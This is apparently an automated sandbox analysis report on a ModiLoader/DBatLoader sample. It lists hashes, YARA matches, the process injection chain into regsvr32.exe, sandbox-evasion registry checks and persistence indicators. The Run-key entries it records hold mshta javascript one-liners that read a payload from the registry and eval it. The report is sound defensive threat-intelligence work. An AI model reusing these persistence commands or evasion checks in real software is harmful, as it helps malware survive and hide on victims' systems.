Analysis
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max time kernel
150s -
max time network
151s -
platform
windows7_x64 -
resource
win7-20240221-en -
resource tags
arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system -
submitted
24-05-2024 10:13
Static task
static1
Behavioral task
behavioral1
Sample
ee54af3b2159619379f89188fc488fce892174a017c4437957375abd4df07b3b.exe
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
ee54af3b2159619379f89188fc488fce892174a017c4437957375abd4df07b3b.exe
Resource
win10v2004-20240508-en
General
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Target
ee54af3b2159619379f89188fc488fce892174a017c4437957375abd4df07b3b.exe
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Size
538KB
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MD5
6dd2ba89e96e70dff143f8fe4c282143
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SHA1
58d637e4cc0dd05739e4fb5dda4a6910e6390b68
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SHA256
ee54af3b2159619379f89188fc488fce892174a017c4437957375abd4df07b3b
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SHA512
6c3349f051e00054f3198dbf03002c1b3ee2b3b606fb79930e205102e693946c2bcd9fad424a62619e0d2395bd9ed2909a406b00294dd01775a0dbcf052d51e5
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SSDEEP
12288:yhYBiFH9iUvEX9A8khRaQT1UDxJfnAxacJAzhCMoZMP59LBl:yaI7nSQW/gJAzZFTBl
Malware Config
Signatures
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ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
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Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
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Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
Processes:
regsvr32.exedescription ioc process Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Oracle\VirtualBox Guest Additions regsvr32.exe -
ModiLoader Second Stage 42 IoCs
Processes:
resource yara_rule behavioral1/memory/2512-3-0x0000000000400000-0x000000000048C000-memory.dmp modiloader_stage2 behavioral1/memory/2512-5-0x0000000000050000-0x000000000011C000-memory.dmp modiloader_stage2 behavioral1/memory/2512-8-0x0000000000050000-0x000000000011C000-memory.dmp modiloader_stage2 behavioral1/memory/2512-9-0x0000000000050000-0x000000000011C000-memory.dmp modiloader_stage2 behavioral1/memory/2512-7-0x0000000000050000-0x000000000011C000-memory.dmp modiloader_stage2 behavioral1/memory/2512-6-0x0000000000050000-0x000000000011C000-memory.dmp modiloader_stage2 behavioral1/memory/2512-12-0x0000000000050000-0x000000000011C000-memory.dmp modiloader_stage2 behavioral1/memory/2512-17-0x0000000000400000-0x000000000048C000-memory.dmp modiloader_stage2 behavioral1/memory/2328-20-0x00000000001F0000-0x00000000002BC000-memory.dmp modiloader_stage2 behavioral1/memory/2328-22-0x00000000001F0000-0x00000000002BC000-memory.dmp modiloader_stage2 behavioral1/memory/2328-24-0x00000000001F0000-0x00000000002BC000-memory.dmp modiloader_stage2 behavioral1/memory/2328-23-0x00000000001F0000-0x00000000002BC000-memory.dmp modiloader_stage2 behavioral1/memory/2328-21-0x00000000001F0000-0x00000000002BC000-memory.dmp modiloader_stage2 behavioral1/memory/2328-26-0x00000000001F0000-0x00000000002BC000-memory.dmp modiloader_stage2 behavioral1/memory/2584-35-0x00000000001A0000-0x000000000026C000-memory.dmp modiloader_stage2 behavioral1/memory/2584-40-0x00000000001A0000-0x000000000026C000-memory.dmp modiloader_stage2 behavioral1/memory/2584-38-0x00000000001A0000-0x000000000026C000-memory.dmp modiloader_stage2 behavioral1/memory/2584-39-0x00000000001A0000-0x000000000026C000-memory.dmp modiloader_stage2 behavioral1/memory/2584-41-0x00000000001A0000-0x000000000026C000-memory.dmp modiloader_stage2 behavioral1/memory/2584-45-0x00000000001A0000-0x000000000026C000-memory.dmp modiloader_stage2 behavioral1/memory/2584-47-0x00000000001A0000-0x000000000026C000-memory.dmp modiloader_stage2 behavioral1/memory/2584-46-0x00000000001A0000-0x000000000026C000-memory.dmp modiloader_stage2 behavioral1/memory/2584-48-0x00000000001A0000-0x000000000026C000-memory.dmp modiloader_stage2 behavioral1/memory/2584-44-0x00000000001A0000-0x000000000026C000-memory.dmp modiloader_stage2 behavioral1/memory/2584-43-0x00000000001A0000-0x000000000026C000-memory.dmp modiloader_stage2 behavioral1/memory/2584-42-0x00000000001A0000-0x000000000026C000-memory.dmp modiloader_stage2 behavioral1/memory/2584-37-0x00000000001A0000-0x000000000026C000-memory.dmp modiloader_stage2 behavioral1/memory/2584-36-0x00000000001A0000-0x000000000026C000-memory.dmp modiloader_stage2 behavioral1/memory/2584-49-0x00000000001A0000-0x000000000026C000-memory.dmp modiloader_stage2 behavioral1/memory/2692-53-0x00000000001D0000-0x000000000029C000-memory.dmp modiloader_stage2 behavioral1/memory/2692-58-0x00000000001D0000-0x000000000029C000-memory.dmp modiloader_stage2 behavioral1/memory/2692-57-0x00000000001D0000-0x000000000029C000-memory.dmp modiloader_stage2 behavioral1/memory/2692-56-0x00000000001D0000-0x000000000029C000-memory.dmp modiloader_stage2 behavioral1/memory/2692-55-0x00000000001D0000-0x000000000029C000-memory.dmp modiloader_stage2 behavioral1/memory/2692-54-0x00000000001D0000-0x000000000029C000-memory.dmp modiloader_stage2 behavioral1/memory/2584-59-0x00000000001A0000-0x000000000026C000-memory.dmp modiloader_stage2 behavioral1/memory/2584-60-0x00000000001A0000-0x000000000026C000-memory.dmp modiloader_stage2 behavioral1/memory/3020-65-0x0000000000220000-0x00000000002EC000-memory.dmp modiloader_stage2 behavioral1/memory/3020-67-0x0000000000220000-0x00000000002EC000-memory.dmp modiloader_stage2 behavioral1/memory/3020-68-0x0000000000220000-0x00000000002EC000-memory.dmp modiloader_stage2 behavioral1/memory/3020-66-0x0000000000220000-0x00000000002EC000-memory.dmp modiloader_stage2 behavioral1/memory/3020-64-0x0000000000220000-0x00000000002EC000-memory.dmp modiloader_stage2 -
Adds policy Run key to start application 2 TTPs 2 IoCs
Processes:
regsvr32.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run regsvr32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\ = "mshta javascript:g1hNNGwv=\"qT\";nj84=new%20ActiveXObject(\"WScript.Shell\");FuGVSCf2=\"0Zq4\";S1RKg1=nj84.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\369ddf2b1c\\\\7856548a\");MjPJIK28n=\"L\";eval(S1RKg1);jGEVFv3=\"UL\";" regsvr32.exe -
Looks for VMWare Tools registry key 2 TTPs 1 IoCs
Processes:
regsvr32.exedescription ioc process Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools regsvr32.exe -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
Processes:
regsvr32.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion regsvr32.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion regsvr32.exe -
Deletes itself 1 IoCs
Processes:
regsvr32.exepid process 2584 regsvr32.exe -
Adds Run key to start application 2 TTPs 2 IoCs
Processes:
regsvr32.exedescription ioc process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:ub12jJXJ=\"qWbpz\";Dx92=new%20ActiveXObject(\"WScript.Shell\");KtUA2vO3=\"y82PzI\";lO5fV=Dx92.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\369ddf2b1c\\\\7856548a\");e5XsIUxA=\"luZ8Ae\";eval(lO5fV);fnHVEp1=\"b0\";" regsvr32.exe Set value (str) \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:qeKwJcM8=\"XMya\";AL6=new%20ActiveXObject(\"WScript.Shell\");njUsE0T=\"RQKJS0\";y0zlJ=AL6.RegRead(\"HKCU\\\\software\\\\369ddf2b1c\\\\7856548a\");WP3YHAiqR=\"PYHl\";eval(y0zlJ);LGGy69Ps=\"oU\";" regsvr32.exe -
Maps connected drives based on registry 3 TTPs 2 IoCs
Disk information is often read in order to detect sandboxing environments.
Processes:
regsvr32.exedescription ioc process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum regsvr32.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0 regsvr32.exe -
Processes:
regsvr32.exedescription ioc process Set value (int) \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\regsvr32.exe = "0" regsvr32.exe Set value (int) \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0" regsvr32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION regsvr32.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_BROWSER_EMULATION\regsvr32.exe = "0" regsvr32.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0" regsvr32.exe Key created \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl regsvr32.exe Key created \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\International regsvr32.exe Key created \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION regsvr32.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
regsvr32.exepid process 2584 regsvr32.exe 2584 regsvr32.exe 2584 regsvr32.exe 2584 regsvr32.exe 2584 regsvr32.exe 2584 regsvr32.exe 2584 regsvr32.exe 2584 regsvr32.exe 2584 regsvr32.exe 2584 regsvr32.exe 2584 regsvr32.exe 2584 regsvr32.exe 2584 regsvr32.exe 2584 regsvr32.exe 2584 regsvr32.exe 2584 regsvr32.exe 2584 regsvr32.exe 2584 regsvr32.exe 2584 regsvr32.exe 2584 regsvr32.exe 2584 regsvr32.exe 2584 regsvr32.exe 2584 regsvr32.exe 2584 regsvr32.exe 2584 regsvr32.exe 2584 regsvr32.exe 2584 regsvr32.exe 2584 regsvr32.exe 2584 regsvr32.exe 2584 regsvr32.exe 2584 regsvr32.exe 2584 regsvr32.exe 2584 regsvr32.exe 2584 regsvr32.exe 2584 regsvr32.exe 2584 regsvr32.exe 2584 regsvr32.exe 2584 regsvr32.exe 2584 regsvr32.exe 2584 regsvr32.exe 2584 regsvr32.exe 2584 regsvr32.exe 2584 regsvr32.exe 2584 regsvr32.exe 2584 regsvr32.exe 2584 regsvr32.exe 2584 regsvr32.exe 2584 regsvr32.exe 2584 regsvr32.exe 2584 regsvr32.exe 2584 regsvr32.exe 2584 regsvr32.exe 2584 regsvr32.exe 2584 regsvr32.exe 2584 regsvr32.exe 2584 regsvr32.exe 2584 regsvr32.exe 2584 regsvr32.exe 2584 regsvr32.exe 2584 regsvr32.exe 2584 regsvr32.exe 2584 regsvr32.exe 2584 regsvr32.exe 2584 regsvr32.exe -
Suspicious behavior: MapViewOfSection 12 IoCs
Processes:
ee54af3b2159619379f89188fc488fce892174a017c4437957375abd4df07b3b.exeregsvr32.exeregsvr32.exepid process 2512 ee54af3b2159619379f89188fc488fce892174a017c4437957375abd4df07b3b.exe 2512 ee54af3b2159619379f89188fc488fce892174a017c4437957375abd4df07b3b.exe 2512 ee54af3b2159619379f89188fc488fce892174a017c4437957375abd4df07b3b.exe 2328 regsvr32.exe 2328 regsvr32.exe 2328 regsvr32.exe 2584 regsvr32.exe 2584 regsvr32.exe 2584 regsvr32.exe 2584 regsvr32.exe 2584 regsvr32.exe 2584 regsvr32.exe -
Suspicious use of WriteProcessMemory 28 IoCs
Processes:
ee54af3b2159619379f89188fc488fce892174a017c4437957375abd4df07b3b.exeregsvr32.exeregsvr32.exedescription pid process target process PID 2512 wrote to memory of 2328 2512 ee54af3b2159619379f89188fc488fce892174a017c4437957375abd4df07b3b.exe regsvr32.exe PID 2512 wrote to memory of 2328 2512 ee54af3b2159619379f89188fc488fce892174a017c4437957375abd4df07b3b.exe regsvr32.exe PID 2512 wrote to memory of 2328 2512 ee54af3b2159619379f89188fc488fce892174a017c4437957375abd4df07b3b.exe regsvr32.exe PID 2512 wrote to memory of 2328 2512 ee54af3b2159619379f89188fc488fce892174a017c4437957375abd4df07b3b.exe regsvr32.exe PID 2512 wrote to memory of 2328 2512 ee54af3b2159619379f89188fc488fce892174a017c4437957375abd4df07b3b.exe regsvr32.exe PID 2512 wrote to memory of 2328 2512 ee54af3b2159619379f89188fc488fce892174a017c4437957375abd4df07b3b.exe regsvr32.exe PID 2512 wrote to memory of 2328 2512 ee54af3b2159619379f89188fc488fce892174a017c4437957375abd4df07b3b.exe regsvr32.exe PID 2328 wrote to memory of 2584 2328 regsvr32.exe regsvr32.exe PID 2328 wrote to memory of 2584 2328 regsvr32.exe regsvr32.exe PID 2328 wrote to memory of 2584 2328 regsvr32.exe regsvr32.exe PID 2328 wrote to memory of 2584 2328 regsvr32.exe regsvr32.exe PID 2328 wrote to memory of 2584 2328 regsvr32.exe regsvr32.exe PID 2328 wrote to memory of 2584 2328 regsvr32.exe regsvr32.exe PID 2328 wrote to memory of 2584 2328 regsvr32.exe regsvr32.exe PID 2584 wrote to memory of 2692 2584 regsvr32.exe regsvr32.exe PID 2584 wrote to memory of 2692 2584 regsvr32.exe regsvr32.exe PID 2584 wrote to memory of 2692 2584 regsvr32.exe regsvr32.exe PID 2584 wrote to memory of 2692 2584 regsvr32.exe regsvr32.exe PID 2584 wrote to memory of 2692 2584 regsvr32.exe regsvr32.exe PID 2584 wrote to memory of 2692 2584 regsvr32.exe regsvr32.exe PID 2584 wrote to memory of 2692 2584 regsvr32.exe regsvr32.exe PID 2584 wrote to memory of 3020 2584 regsvr32.exe regsvr32.exe PID 2584 wrote to memory of 3020 2584 regsvr32.exe regsvr32.exe PID 2584 wrote to memory of 3020 2584 regsvr32.exe regsvr32.exe PID 2584 wrote to memory of 3020 2584 regsvr32.exe regsvr32.exe PID 2584 wrote to memory of 3020 2584 regsvr32.exe regsvr32.exe PID 2584 wrote to memory of 3020 2584 regsvr32.exe regsvr32.exe PID 2584 wrote to memory of 3020 2584 regsvr32.exe regsvr32.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\ee54af3b2159619379f89188fc488fce892174a017c4437957375abd4df07b3b.exe"C:\Users\Admin\AppData\Local\Temp\ee54af3b2159619379f89188fc488fce892174a017c4437957375abd4df07b3b.exe"1⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:2512 -
C:\Windows\SysWOW64\regsvr32.exeregsvr32.exe2⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:2328 -
C:\Windows\SysWOW64\regsvr32.exeregsvr32.exe3⤵
- Looks for VirtualBox Guest Additions in registry
- Adds policy Run key to start application
- Looks for VMWare Tools registry key
- Checks BIOS information in registry
- Deletes itself
- Adds Run key to start application
- Maps connected drives based on registry
- Modifies Internet Explorer settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:2584 -
C:\Windows\SysWOW64\regsvr32.exe"C:\Windows\SysWOW64\regsvr32.exe"4⤵PID:2692
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C:\Windows\SysWOW64\regsvr32.exe"C:\Windows\SysWOW64\regsvr32.exe"4⤵PID:3020
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